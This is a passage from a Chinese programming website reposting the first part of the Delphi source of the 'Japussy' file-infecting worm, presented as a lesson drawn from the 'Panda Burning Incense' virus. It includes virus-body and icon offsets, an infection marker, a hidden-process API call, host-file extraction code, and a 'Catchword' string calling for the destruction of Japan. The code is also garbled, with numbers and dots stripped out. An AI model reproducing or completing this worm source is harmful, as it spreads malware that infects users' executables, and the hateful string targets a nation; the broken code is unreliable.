熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Delphi編程 >> 正文

從“熊貓燒香”中學程序[1]

2013-11-11 21:05:37  來源: Delphi編程 

  本文來自互聯網僅供學習和研究使用後果自行負責造成的任何損失與本站無關特此聲明
  program Japussy;
  uses
    Windows SysUtils Classes Graphics ShellAPI{ Registry};
  const
    HeaderSize = ;                  //病毒體的大小
    IconOffset = $EB;                //PE文件主圖標的偏移量
 
    //在我的Delphi SP上面編譯得到的大小其它版本的Delphi可能不同
    //查找的十六進制字符串可以找到主圖標的偏移量
 
  {
    HeaderSize = ;                  //Upx壓縮過病毒體的大小
    IconOffset = $BC;                  //Upx壓縮過PE文件主圖標的偏移量
 
    //Upx W 用法: upx Japussyexe
  }
    IconSize  = $E;                  //PE文件主圖標的大小字節
    IconTail  = IconOffset + IconSize;  //PE文件主圖標的尾部
    ID        = $;              //感染標記
 
    //垃圾碼以備寫入
    Catchword = If a race need to be killed out it must be Yamato +
                If a country need to be destroyed it must be Japan! +
                *** WJapussyWormA ***;
  {$R *RES}
  function RegisterServiceProcess(dwProcessID dwType: Integer): Integer;
    stdcall; external Kerneldll; //函數聲明
  var
    TmpFile: string;
    Si:      STARTUPINFO;
    Pi:      PROCESS_INFORMATION;
    IsJap:  Boolean = False; //日文操作系統標記
  { 判斷是否為Winx }
  function IsWinx: Boolean;
  var
    Ver: TOSVersionInfo;
  begin
    Result := False;
    VerdwOSVersionInfoSize := SizeOf(TOSVersionInfo);
   if not GetVersionEx(Ver) then
    Exit;
  if (VerdwPlatformID = VER_PLATFORM_WIN_WINDOWS) then //Winx
    Result := True;
  end;
  { 在流之間復制 }
  procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
    dStartPos: Integer; Count: Integer);
  var
    sCurPos dCurPos: Integer;
  begin
    sCurPos := SrcPosition;
    dCurPos := DstPosition;
    SrcSeek(sStartPos );
    DstSeek(dStartPos );
    DstCopyFrom(Src Count);
    SrcSeek(sCurPos );
    DstSeek(dCurPos );
  end;
  { 將宿主文件從已感染的PE文件中分離出來以備使用 }
  procedure ExtractFile(FileName: string);
  var
    sStream dStream: TFileStream;
  begin
    try
      sStream := TFileStreamCreate(ParamStr() fmOpenRead or   fmShareDenyNone);
      try
        dStream := TFileStreamCreate(FileName fmCreate);
        try
          sStreamSeek(HeaderSize ); //跳過頭部的病毒部分
          dStreamCopyFrom(sStream sStreamSize HeaderSize);
        finally
          dStreamFree;
          end;
      finally
        sStreamFree;
      end;
    except
    end;
  end;
  { 填充STARTUPINFO結構 }

[]  []  []  []  []  


From:http://tw.wingwit.com/Article/program/Delphi/201311/8473.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.